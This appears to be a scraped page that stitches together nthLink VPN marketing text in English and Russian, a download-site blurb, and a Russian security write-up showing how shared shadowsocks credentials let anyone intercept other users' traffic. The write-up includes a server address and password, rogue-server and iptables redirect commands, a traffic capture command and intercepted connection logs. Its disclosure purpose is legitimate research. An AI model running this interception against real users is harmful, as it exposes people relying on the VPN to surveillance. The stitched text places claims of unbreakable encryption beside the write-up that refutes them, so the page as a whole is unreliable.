Nthlink vpn как пользоваться

Unblock the Internet

nthLink is an app for safe Internet access that works even when content is blocked.

Read unbiased news

Stream blocked videos and movies

Research issues on your own

Communicate with other users securely

Download now

download options

download options

Windows download options (download the 64 bit version if you’re using Windows 10 or newer)

download options

Safe and Secure

nthLink is built on technologies that have defeated even the strictest internet censorship systems. It automatically:

• Accesses the internet through a secure tunnel (VPN) – Jigsaw Outline with Shadowsocks
• Hides your location – automated IP switching
• Hides where you go online – trusted DNS
• Hides what you are doing online – traffic masking
• Encrypts everything – AEAD 256-bit Chacha2020 IETF Poly 1305 cipher

Self-recovery

Unlike many VPNs that store often-obsolete address lists in their apps, nthLink’s mobile app can connect to the Internet even when it has been a long time since you have used it.

The nthLink app calculates fresh server addresses based on where you are and the device you are using, enabling you to connect even in locations where many of its addresses are being blocked. It keeps trying until it finds a secure connection for you.

How it works

Our Promise

Simplicity

Just install and tap the button and you’re online – inside a reliable and secure network.

Privacy

We do not track your activities and use best data minimization practices for our server infrastructure.

Security

nthLink uses the strongest available encryption standards so your Internet traffic cannot be inspected.

Read more about our full security and transparency policies.

Frequently asked questions

Is nthLink free?

Yes, nthLink is free and will remain free thanks to our sponsors and partners in the Internet freedom community. They are:

• Open Technology Fund
• Google Jigsaw
• Cure53
• Include Security
• Plaintext Design

How does nthLink compare with Tor?

Similar to Tor, nthLink allows you to access the Internet in a private and anonymized fashion. Unlike Tor, nthLink traffic does not bounce between many places before getting you where you want to be, which means nthLink can be much faster than Tor. In theory, this also means that nthLink has access to more traffic data than Tor – in practice it makes no difference since nthLink does not track that data. Also keep in mind that Tor traffic can be detected and more easily blocked.

How can I download the apps safely?

You can verify your downloads by checking the signature on your file. Head over to our download page to see that.

What data does nthLink collect?

nthLink collects minimal data necessary to provide reliable service, for example the IP address, type of device, and the operating system. nthLink does not collect any personally identifiable information nor your browsing history.

nthLink is not working for me. What should I do?

The first thing to try is downloading the latest version of nthLink from a reliable source; please visit our download page for details. You can also email us at [email protected].

Where can I see nthLink’s source code?

nthLink is committed to open source and will make the nthLink codebase available to members of the human rights and Internet freedom communities through trusted channels. Please email us at [email protected] to request access.

Who is behind nthLink?

We are a group of experienced software and information security engineers who started nthLink in 2016 to support human rights lawyers who needed to obtain censored information and to express their perspectives to the outside world. Since then we’ve made the service available to the wider public. Our development team are experts in both censorship circumvention technology and service reliability.

Снимаем шифрование nthLink VPN

Заметка о nthLink VPN, его внутренностях и его катастрофическом провале в криптографии. Почему это может быть важно:

• Некоторые люди могут полагаться на несуществующие гарантии безопасности, обещанные этим приложением. Этот продукт в особенности претендует на обход цензуры, очерчивая свой главный сценарий использования. В этом сценарии использования нарушение конфиденциальности угрожает привести пользователя к непреднамеренному раскрытию данных цензору, которые должны были быть спрятаны VPN-соединением.
• Другие подобные приложения, использующие одни и те же инсталляции shadowsocks для множества разных пользователей, могут так же иметь эту проблему. Вообще этот протокол всё ещё подходит только для персонального применения, а не для публичных сервисов с множеством пользователей.

Также эта заметка может заинтересовать людей, которые хотели бы знать, как работают подобные приложения внутри.

О nthLink VPN

Интересные факты о продукте.

Перевод

Важнее всего, оно [приложение] использует сильное шифрование, чтобы защитить поток информации между потребителем и источником.

Ещё заявления о безопасности:

Перевод

Не позволяет цензорам производить инспекцию содержимого/пакетов.

Дважды прошли аудит безопасности:

Перевод

Аудиты безопасности — два аудита безопасности проводились над nthLink в 2019 и 2020 годах компанией Cure53 — независимой организацией, специализирующейся в цифровой безопасности, которая проверяет ПО в соответствии с последними стандартами безопасности.

Выдержки из отчётов аудита:

«В этом заключении стоит заметить, что для этого проекта [аудита] использовалась модель довольно сильного атакующего.»

«Проводившийся в октябре и ноябре 2020, этот проект [аудита] сосредотачивает внимание на приложении nthLink VPN для Android, iOS и, вдобавок, для Windows, и соответственно на их безопасности и отношение к конфиденциальности конечных пользователей.»

«Cure53 завершили верификацию исправлений, последовавших за пентестом и аудитом исходного кода в конце ноября 2020. Команда Cure53 смогла проверить все исправления, которые были представлены командой nthLink. Это значит, что все относящиеся к делу и попадающие в рамки находки, обнаруженные Cure53 в пентесте и аудите исходного кода NTH-02, теперь успешно исправлены, и исправления успешно устраняют найденные уязвимости.»

Вы можете запросить отчёты аудита, как и модели угроз, связавшись с командой поддержки nthLink.

Интересно, что отчёт об аудите не сделан публичным, а обещан быть предоставлен по запросу. В чём проблема опубликовать его? В любом случае, в свете представленных здесь находок, можно смело предполагать, что аудит Cure53 либо бесполезен, либо его темой была инфраструктура/вебсайт, а не само приложение.

Приложение заявлено как имеющее открытый исходный код, покуда ваше письмо с запросом исходного кода не угодит в папку для спама:

Перевод

Пожалуйста, свяжитесь с командой поддержки nthLink, чтобы запросить доступ к исходному коду nthLink.

Получили довольно скромное финансирование из некоего Фонда Открытых Технологий (Open Technology Fund).

Внутренности приложения

Приложение делает вид, что работает как VPN для всей системы, но на самом деле это просто прокси-клиент shadowsocks. Оно использует badvpn tun2socks (или похожую программу), чтобы перенаправлять все TCP- и UDP-сессии в соединение shadowsocks, которое технически не является VPN.

Несмотря на то, что исходный код не опубликован и не легкодоступен, было тривиально извлечь его из приложения для Windows на электроне. JS-код может быть распакован просто командой npx asar extract . Здесь есть полное руководство по этой теме.

Анализ исходного кода показал, что алгоритм получения реквизитов для подключения грубо можно описать следующим образом:

1. Вычислить текущий домен API на основании некоего зерна домена, заданного конфигурацией домена верхнего уровня и текущей даты.
2. Если этот домен недоступен, то откатиться к заданному жёстко домену на AWS S3.
3. Сделать запрос на получение тела конфигурации.
4. Тело конфигурации содержит подпись (RSA-SHA256 PKCSv15). Проверить её.
5. Расшифровать окончательный JSON с реквизитами подключения, зашифрованными с помощью AES256-CTR. Статический ключ шифрования захардкожен. Также эта конфигурационная полезная нагрузка содержит самыу актуальные настройки для вычисления домена API: зерно домена и домен верхнего уровня.

Я сделал альтернативный клиент API, который выполняет эти шаги и позволяет получить обычные реквизиты для подключения к серверу shadowsocks, которые подходят к любому ванильному (обычному) клиенту shadowsocks.

Но вот какая проблема. Все криптографические ключи в shadowsocks получаются из общего пароля, который одинаково задан на клиенте и сервере. Следовательно, если все клиенты знают симметричный общий ключ (SPSK), они могут использовать его для атаки «человек посередине» на других клиентов того же сервера. Это катастрофический провал в криптографии, который уничтожает безопасность протокола.

Демо? Демо!

Продемонстрируем, что кто угодно может видеть и вмешиваться в трафик, защищённый приложением nthLink.

Установка приложения и подключение

Последнее приложение nthLink — это приложение nthLink для Android версии 5.1.0, выпущенное 1 апреля 2021.

Установлено и подключено:

Подключение проверено. IP-адрес сменился на IP-адрес сервера nthLink:

Мошеннический сервер shadowsocks

IP-адресом жертвы в сети является 192.168.1.65. Нам нужно перенаправить для него трафик к shadowsocks-серверам nthLink на наш поддельный shadowsocks-сервер.

На линуксовом шлюзе (роутере) соберём список http-подобных соединений от устройства-жертвы:

fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED

И с другой стороны будем запускать nth-dump, пока не появится адрес из собранного списка соединений.

Name: nthLink Server Host: 68.183.72.121 Port: 443 Method: chacha20-ietf-poly1305 Password: 2djK1R9egUBi URL: ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@68.183.72.121:443#nthLink%20Server

Теперь мы смогли соотнести соединения с сервером nthLink и реквизитами для подключения к нему. Запустим наш мошеннический сервер shadowsocks. Для этой цели я использую сервер go-shadowsocks2:

./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose

Наконец, перенаправим трафик жертвы на наш мошеннический сервер shadowsocks:

iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443 iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443

Перехват трафика достигнут

Смотрим в логи go-shadowsocks2:

2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 108.177.119.94:443 2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 142.250.203.142:443 2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 172.217.18.3:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 142.250.185.109:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 142.250.184.228:443 2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 142.250.185.67:443 2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 34.160.111.145:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 8.8.4.4:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 8.8.8.8:443 2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 8.8.8.8:443 2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 172.217.20.202:443 2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 149.154.167.50:443 2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer 2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 44.192.201.202:443 2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 216.58.215.99:443 2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 149.154.167.50:443 2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 149.154.167.50:443 2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 149.154.167.50:443

Как видно, соединения успешно перенаправляются и наш сервер shadowsocks понимает и выполняет запросы.

Подтвердим перенаправление обратно на мой домашний IP-адрес, даже с включённым VPN:

Мы могли бы снова направить трафик на серверы nthLink после инспекции, чтобы всё выглядело как обычно, но для целей демо нам наоборот нужно сделать это более явно, а не скрытно.

Наконец, снимем трафик с помощью tcpdump -i any -nvvs0 ‘dst port 443’ -w hs.cap , чтобы показать, что мы видим трафик так же, как без VPN вовсе. Перехваченное рукопожатие TLS в анализаторе PCAP-дампов пакетов Wireshark:

nthLink — бесплатный VPN

Ищите надежный ВПН? Попробуйте nthLink — приложение можно загрузить и использовать на ПК или мобильном.

Публикации Дата регистрации Вторник, 06.06.2017 Статус Администратор Последний вход Вторник, 23.05.2023

nthLink — мощный и бесплатный VPN, способный обходить блокировки и действовать в сложной сетевой среде. С ним вы сможете открывать сервисы, которые могут быть недоступны в вашем регионе, например, Facebook, Twitter, YouTube и др. Этот сервис использует надежное шифрование для защиты вашего соединения и информации. Это загрузка nthLink для компьютеров с Windows и мобильных устройств Android и iOS.

• Основные характеристики и функции
• nthLink можно пользоваться бесплатно?
• Безопасен ли nthLink?
• Требования для устройств Windows, Android, iOS

Основные характеристики и функции

• Конфиденциальность и анонимность. Приложения nthLink не хранят конфиденциальную или личную информацию на устройствах пользователей. Информация о пользователе не передается на серверы nthLink, а серверы nthLink не регистрируют шаблоны трафика, которые можно использовать для отслеживания информации, позволяющей установить личность пользователя. nthLink шифрует обмен данными между вашим устройством и сервером nthLink, используя 256-битный шифр AEAD Chacha2020 IETF Poly 1305.
• Доступ к контенту, недоступному в вашем регионе. nthLink использует современные технологии, меняющие ваш адрес на другую страну и позволяющие обходить блокировки.
• Простота использования. После установки мобильное приложение nthLink не требует дополнительной настройки или регистрации. Пользователь может подключить все свое устройство к сети nthLink VPN одним нажатием кнопки. Благодаря автоматическому обнаружению и восстановлению сети nthLink приложение nthLink автоматически подключается к сети.

nthLink можно пользоваться бесплатно?

Да, nthLink — абсолютно бесплатный сервис.

Безопасен ли nthLink?

nthLink — надежный и безопасный VPN-сервис. Однако перед загрузкой любого ПО мы, как обычно, рекомендуем подробно ознакомиться с его политикой конфиденциальности.

Требования для устройств Windows, Android, iOS

Windows:
Microsoft Windows 7, 8 или 10.

Android:
Размер: 13 M.
Необходимая версия Android: 7.x или более новая.

iOS:
Размер: 54 M.
Версия iOS: 11.0 или новее.

Разблокируй Интернет

nthLink — это приложение для безопасного доступа в интернет, которое работает даже при блокировке контента.

Читайте беспристрастные новости

Потоковая передача заблокированных видео и фильмов

Самостоятельно исследуйте проблемы

Общайтесь безопасно с другими пользователями

Download now

download options

download options

Windows download options (download the 64 bit version if you’re using Windows 10 or newer)

download options

Самовосстановление

В отличие от многих VPN, которые хранят в своих приложениях часто устаревшие списки адресов серверов, мобильное приложение nthLink может подключаться к Интернету, даже если вы давно им не пользовались.

Приложение nthLink вычисляет свежие адреса серверов в зависимости от вашего местонахождения и используемого устройства, обеспечивая подключение даже там, где многие их адреса заблокированы. Оно продолжает поиск, пока не найдет для вас безопасное подключение.

Мониторинг сетевых операций

Усовершенствованная система обнаружения вторжений nthLink защищает свои сети и серверы от множества киберугроз.

Масштабируемая конструкция nthLink динамически настраивает системные ресурсы для оптимального использования, обеспечивая наилучшее взаимодействие с пользователем.

Ведущее решение против цензуры

nthLink был создан с использованием передовой антицензурной технологии:

• Безопасный доступ в Интернет через безопасный VPN-туннель
• При подключении к Интернету используйте сеть nthLink, чтобы скрыть свой реальный IP-адрес.
• Сохраняйте конфиденциальность своей истории посещений, используя только доверенные службы DNS.
• Используйте методы запутывания трафика, чтобы замаскировать свою онлайн-активность.
• Защитите свои онлайн-передачи с помощью надежного шифрования, такого как TLS, AES-128 и ChaCha20-Poly1305.

Доверенные партнёры

Наши услуги финансируются Open Tech Fund, благодаря чему пользователи nthLink получают неограниченный доступ в Интернет

Мы сотрудничаем с Google Jigsaw для разработки и обслуживания наших систем. Мы регулярно проводим проверки безопасности, осуществляемые независимым аудитором, чтобы убедиться, что наши меры безопасности актуальны и эффективны.

Наше обещание

Простота

Просто установите, нажмите кнопку, и вы в Интернете — в надежной и безопасной сети.

Приватность

Мы не отслеживаем ваши действия и используем в нашей серверной инфраструктуре лучшие методы минимизации данных.

Безопасность

nthLink использует самые надежные стандарты шифрования, поэтому ваш интернет-трафик невозможно проверить.

Узнайте больше о нашей политике безопасности и прозрачности.

Часто задаваемые вопросы

Приложение nthLink бесплатное?

Да, nthLink бесплатен и останется бесплатным благодаря нашим спонсорам и партнерам в сообществе Internet Freedom. Они есть:

• Open Technology Fund
• Google Jigsaw
• Cure53
• Include Security
• Plaintext Design

Насколько nthLink сопоставим с Tor?

Как и сеть Tor, nthLink позволяет вам получать доступ к Интернету конфиденциально и анонимно. В отличие от Tor, трафик nthLink не проходит через несколько адресов, прежде чем достигнет пункта назначения. Это означает, что nthLink быстрее, чем Tor. Теоретически это также означает, что nthLink может получить доступ к большему количеству данных о трафике, чем Tor, но nthLink не отслеживает эти данные. Также стоит помнить, что трафик Tor легче обнаружить и заблокировать.

Как безопасно скачать приложение?

Вы можете верифицировать загруженные файлы, проверив их подписи. Для этого перейдите на нашу страницу загрузки.

Какие данные собирает nthLink?

nthLink собирает минимальные сведения, необходимые для обеспечения надежного обслуживания, например, IP-адрес, тип устройства и операционную систему. nthLink не собирает никакой личной информации и истории просмотров.

У меня не работает nthLink. Что делать?

Загрузите последнюю версию nthLink из надежного источника — для получения подробной информации перейдите на нашу страницу загрузки. Если проблема не устранена, сообщите нам об этом, отправив заявку через форму обратной связи в приложении. Вы также можете написать нам по адресу [email protected] .

Где можно посмотреть исходный код nthLink?

nthLink придерживается принципа разработки программного обеспечения с открытым исходным кодом и будет предоставлять кодовую базу nthLink членам сообществ по правам человека и свободе интернета через заслуживающие доверия каналы. Пожалуйста, напишите нам на адрес [email protected] , чтобы запросить доступ.

Кто стоит за nthLink?

Мы — группа опытных инженеров по программному обеспечению и информационной безопасности, которые основали nthLink в 2016 году для поддержки юристов по правам человека, которым необходимо было получать цензурированную информацию и выражать свою точку зрения внешнему миру. С тех пор мы сделали услугу доступной для более широкой публики. Наша команда разработчиков является экспертом как в технологиях обхода цензуры, так и в надежности услуг.